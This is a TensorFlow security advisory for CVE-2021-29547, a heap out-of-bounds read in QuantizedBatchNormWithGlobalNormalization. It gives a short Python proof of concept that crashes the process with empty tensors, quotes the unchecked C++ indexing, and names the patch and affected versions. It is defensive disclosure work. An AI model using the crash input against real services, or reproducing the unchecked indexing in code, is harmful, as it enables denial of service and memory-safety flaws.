1## TFSA-2021-035: Heap out of bounds in `QuantizedBatchNormWithGlobalNormalization` 2 3### CVE Number 4CVE-2021-29547 5 6### Impact 7An attacker can cause a segfault and denial of service via accessing data 8outside of bounds in `tf.raw_ops.QuantizedBatchNormWithGlobalNormalization`: 9 10```python 11import tensorflow as tf 12 13t = tf.constant([1], shape=[1, 1, 1, 1], dtype=tf.quint8) 14t_min = tf.constant([], shape=[0], dtype=tf.float32) 15t_max = tf.constant([], shape=[0], dtype=tf.float32) 16m = tf.constant([1], shape=[1], dtype=tf.quint8) 17m_min = tf.constant([], shape=[0], dtype=tf.float32) 18m_max = tf.constant([], shape=[0], dtype=tf.float32) 19v = tf.constant([1], shape=[1], dtype=tf.quint8) 20v_min = tf.constant([], shape=[0], dtype=tf.float32) 21v_max = tf.constant([], shape=[0], dtype=tf.float32) 22beta = tf.constant([1], shape=[1], dtype=tf.quint8) 23beta_min = tf.constant([], shape=[0], dtype=tf.float32) 24beta_max = tf.constant([], shape=[0], dtype=tf.float32) 25gamma = tf.constant([1], shape=[1], dtype=tf.quint8) 26gamma_min = tf.constant([], shape=[0], dtype=tf.float32) 27gamma_max = tf.constant([], shape=[0], dtype=tf.float32) 28 29tf.raw_ops.QuantizedBatchNormWithGlobalNormalization( 30 t=t, t_min=t_min, t_max=t_max, m=m, m_min=m_min, m_max=m_max, 31 v=v, v_min=v_min, v_max=v_max, beta=beta, beta_min=beta_min, 32 beta_max=beta_max, gamma=gamma, gamma_min=gamma_min, 33 gamma_max=gamma_max, out_type=tf.qint32, 34 variance_epsilon=0.1, scale_after_normalization=True) 35``` 36 37This is because the 38[implementation](https://github.com/tensorflow/tensorflow/blob/55a97caa9e99c7f37a0bbbeb414dc55553d3ae7f/tensorflow/core/kernels/quantized_batch_norm_op.cc#L176-L189) 39assumes the inputs are not empty: 40 41```cc 42const float input_min = context->input(1).flat<float>()(0); 43const float input_max = context->input(2).flat<float>()(0); 44... 45const float mean_min = context->input(4).flat<float>()(0); 46const float mean_max = context->input(5).flat<float>()(0); 47... 48const float var_min = context->input(7).flat<float>()(0); 49const float var_max = context->input(8).flat<float>()(0); 50... 51const float beta_min = context->input(10).flat<float>()(0); 52const float beta_max = context->input(11).flat<float>()(0); 53... 54const float gamma_min = context->input(13).flat<float>()(0); 55const float gamma_max = context->input(14).flat<float>()(0); 56``` 57 58If any of these inputs is empty, `.flat<T>()` is an empty buffer, so accessing 59the element at index 0 is accessing data outside of bounds. 60 61### Patches 62We have patched the issue in GitHub commit 63[d6ed5bcfe1dcab9e85a4d39931bd18d99018e75b](https://github.com/tensorflow/tensorflow/commit/d6ed5bcfe1dcab9e85a4d39931bd18d99018e75b). 64 65The fix will be included in TensorFlow 2.5.0. We will also cherrypick this 66commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 672.1.4, as these are also affected and still in supported range. 68 69### For more information 70Please consult [our security 71guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for 72more information regarding the security model and how to contact us with issues 73and questions. 74 75### Attribution 76This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu 77X-Team. 78